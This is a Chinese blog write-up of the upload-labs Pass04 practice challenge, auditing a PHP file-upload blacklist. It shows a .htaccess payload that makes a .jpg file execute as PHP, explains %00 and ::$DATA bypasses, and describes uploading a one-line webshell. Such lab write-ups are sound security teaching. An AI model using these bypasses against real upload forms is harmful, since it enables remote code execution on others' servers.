安全-Pass04之.htaccess绕过(upload-labs)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Pass04之.htaccess绕过(upload-labs)相关的知识,希望对你有一定的参考价值。

前言

  • phpHypertext Preprocessor超文本预处理器,多用于web后端
    .htaccess文件全称是超文本入口Hypertext Access
    .htaccess提供了针对目录改变配置的方法,可以作用在.htaccess同目录及其所有子目录
    .htaccessapache服务器下的控制文件访问的配置文件,在nginx中不会生效
  • Pass04和Pass03类似,关卡四会比关卡三限制的后缀名更多一些
    有点奇怪的是源码中含有对.ini的过滤,但是提示中却没有提到

文件上传绕过思路集合

upload-labs靶场下载

upload-labs在线靶场-BUUCTF

蚁剑AntSword

菜刀Cknife

Seay

PHP: PHP 手册 - Manual

htaccess 百度百科

.htaccess文件在线生成器

apache开启.htaccess及.htaccess的使用方法

一、题目

在这里插入图片描述

在这里插入图片描述

php后端代码

<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

二、WriteUp

[1]. 函数介绍

函数介绍
date(“格式”)以固定的时间格式获取当前系统的时间
file_exists(路径)判断指定的文件或目录是否存在,不存在返回true,否则返回false
in_array(变量,数组)如果变量存在于数组就返回true,否则返回false
isset(变量)如果变量存在且值不为null返回true,否则返回false
move_uploaded_file(文件路径,文件夹路径)将文件移动到指定文件夹下
rand(数字1,数字2)从数字1到数字2的范围内生成随机数,两个数字都有包含在内
strrchr(字符串,字符)如果字符存在于字符串时,返回第一次找到的字符至字符串末尾的子串。不存在于字符串时就返回false
strtolower(字符串)将字符串全部转换成小写
str_ireplace(字符串1,字符串2,字符串3)在字符串3中搜索,如果含有字符串1的子串就替换成字符串2
trim(字符串)删除字符串前后的空白符,空白符: 空格、制表符(\\t)、换行符(\\n)、回车符(\\r)、空字节符(\\0)和垂直制表符(\\x0B

[2]. 源码审计

(1). 变量判断

  • php代码进行审计,if语句比较多最好从外往内分析
  • 第一条if语句只是判断了一下提交的post请求中submit参数是否被设置且非空
    PHP:isset - Manual

在这里插入图片描述

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {//第一条if语句
	//代码
}

(2). 路径判断

  • 第二条语句判断了一下文件上传的路径存不存在,存在的话就执行里面的代码,不存在就给$msg设置回显信息
  • 通过Seay审计的全局搜索功能可以找到UPLOAD_PATH是在config.php中被定义的
    Pass-02\\index.php的代码中包含了上一级目录下的config.php
    然后这个变量就可以在Pass-02\\index.php中直接使用
  • ../表示访问上一级的目录,所以upload-labs-master\\Pass-02\\index.php包含的是upload-labs-master\\config.php
  • UPLOAD_PATH变量在upload-labs-master\\Pass-02\\index.php中被调用时,就会设置上传的父文件夹为upload-labs-master\\upload

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

$is_upload = false;
$msg = null;
if (xxx) {//第一条if语句
    if (file_exists(UPLOAD_PATH)) {//第二条if语句
    	//代码
    }else {//第二条if语句为假
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

(3). 黑名单

  • $deny_ext是一个数组类型,存储了需要被过滤的后缀名
    之后会对文件的后缀判断,如果后缀符合其中的一个,文件就会被过滤
  • 对其中的后缀分析可以发现,还是有一些重要的后缀没进行过滤,如PHP.htaccessphP
    但是如果采用了小写的转换时,PHPphP就没办法大小写绕过了
".php", ".php5", ".php4", ".php3", ".php2", 
".php1", ".html", ".htm", ".phtml", ".pht",
".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2",
".pHp1", ".Html", ".Htm", ".pHtml", ".jsp",
".jspa", ".jspx", ".jsw", ".jsv", ".jspf",
".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw",
".jSv", ".jSpf", ".jHtml", ".asp", ".aspx",
".asa", ".asax", ".ascx", ".ashx", ".asmx", 
".cer", ".aSp", ".aSpx", ".aSa", ".aSax", 
".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", 
".swf", ".ini"
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
        $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini");
   	}else {//第二条if语句为假
        //代码
    }
}     

(4). 首尾去空

  • $_FILES['upload_file']['name']会获取上传文件的名称,如下图的test3.txt
  • trim($_FILES['upload_file']['name'])就是删除文件名称首尾的空白符,然后赋值给变量$file_name
    PHP:trim - Manual

在这里插入图片描述

//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_name = trim($_FILES['upload_file']['name']);
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(5). 删除尾部小数点

  • deldot($file_name)将会删除变量$file_name中的最后一个小数点,经过查询发现这个函数不是php自带的,而是靶场中自己定义的
    如果你去百度搜deldot是搜不到官方资料的,如果有文章介绍了,估计是文章的作者没意识到这个问题
  • 通过Seay源码审计系统可以找到函数的位置是在common.php文件中
    如果不想去思考其中的算法,可以使用php的集成开发环境phpstorm运行一下函数看看结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_name = deldot($file_name);//删除文件名末尾的点
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(6). 获取文件后缀

  • 之前的步骤删除了文件名末尾的小数点后赋值给了$file_name
  • strrchr($file_name, '.')会返回小数点和文件后缀组成的子串。
    假设文件名为test3.php%00.jpg,得到的$file_txt值就是.jpg
    因为之后的第三个if语句是直接对.jpg进行判断,所以此时就不能通过%00截断进行绕过了
  • PHP: strrchr - Manual
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_ext = strrchr($file_name, '.');
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(7). 小写转换

  • strtolower($file_ext)就是对得到的字符串.jpg进行全小写处理,这样就没法进行文件后缀的大小写绕过了
    PHP: strtolower - Manual
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_ext = strtolower($file_ext); //转换为小写
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(8). 置空::$DATA

  • 在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,具体参考【文件上传绕过】八、: : $ DATA上传绕过
    如果文件名为test.php::$DATA.jpg时,在windows中会删除::$DATA及之后的内容,则上传window服务器后的文件名为test.php
  • str_ireplace('::$DATA', '', $file_ext)将会用空字符来替换变量$file_ext中的::$DATA子串,防止了::$DATA的上传绕过
  • PHP: str_ireplace - Manual
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(9). 首尾去空

//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
        $file_ext = trim($file_ext); //收尾去空
		//代码
	}else{//第二条if语句为假
		//代码
	}
}

(10). 黑名单过滤

  • $file_ext存储的是文件后缀(含有小数点)
    数组$deny_ext的值如下,当文件的后缀不为其中的时,才能进入if语句
  • PHP: in_array - Manual
".php", ".php5", ".php4", ".php3", ".php2", 
".php1", ".html", ".htm", ".phtml", ".pht",
".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2",
".pHp1", ".Html", ".Htm", ".pHtml", ".jsp",
".jspa", ".jspx", ".jsw", ".jsv", ".jspf",
".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw",
".jSv", ".jSpf", ".jHtml", ".asp", ".aspx",
".asa", ".asax", ".ascx", ".ashx", ".asmx", 
".cer", ".aSp", ".aSpx", ".aSa", ".aSax", 
".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", 
".swf", ".ini"
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
    	if(!in_array($file_ext, $deny_ext)) {//第三条if语句
            //代码
        } else {//第三条if语句为假
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
	}else{//第二条if语句为假
		//代码
	}
}

(11). 文件存储路径设置

  • 在上传文件的时候,文件都会被存储在一个临时的文件夹下
    我们不需要知道具体路径,只需要通过tmp_name参数获取路径即可
    UPLOAD_PATH的值为../,在config.php文件中定义
  • 与Pass03相比,Pass03是以上传的时间作为文件名,而Pass04文件上传后存储的名称是不变的
  • PHP: in_array - Manual
    安全-Pass03之黑名单绕过(upload-labs)
//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
        //代码
        if (!in_array($file_ext, $deny_ext)) {//第三条if语句
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $file_name;
            //代码
        } else {//第三条if语句为假
            $msg = '此文件不允许上传!';
        }
    }else {//第二条if语句为假
        //代码
    }
}

(12). 移动临时文件

//代码
if (xxx) {//第一条if语句
    if (xxx) {//第二条if语句
    	//代码
    	if(xxx) {//第三条if语句
            //代码
            if (move_uploaded_file($temp_file,$img_path)) {//第四条if语句
                 $is_upload = true;
            } else {//第四条if语句为假
                $msg = '上传出错!';
            }
        } else {//第三条if语句为假
            //代码
        }
	}else{//第二条if语句为假
		//代码
	}
}

[3]. .htaccess绕过

在这里插入图片描述

<FilesMatch "test4.jpg">  
		SetHandler application/x-httpd-php  
</FilesMatch>

先上传一个.htaccess文件到服务器

在这里插入图片描述

然后上传一个一句话木马的文件,文件名称需要和.htaccess中写的一致

以上是关于安全-Pass04之.htaccess绕过(upload-labs)的主要内容,如果未能解决你的问题,请参考以下文章

安全-Pass01之js绕过(upload-labs)

安全-Pass03之黑名单绕过(upload-labs)

安全-Pass02之MIME绕过(upload-labs)

安全-Pass07之黑名单空格绕过(upload-labs)

安全-Pass14之文件头绕过(upload-labs)

安全-Pass15之图片马绕过(upload-labs)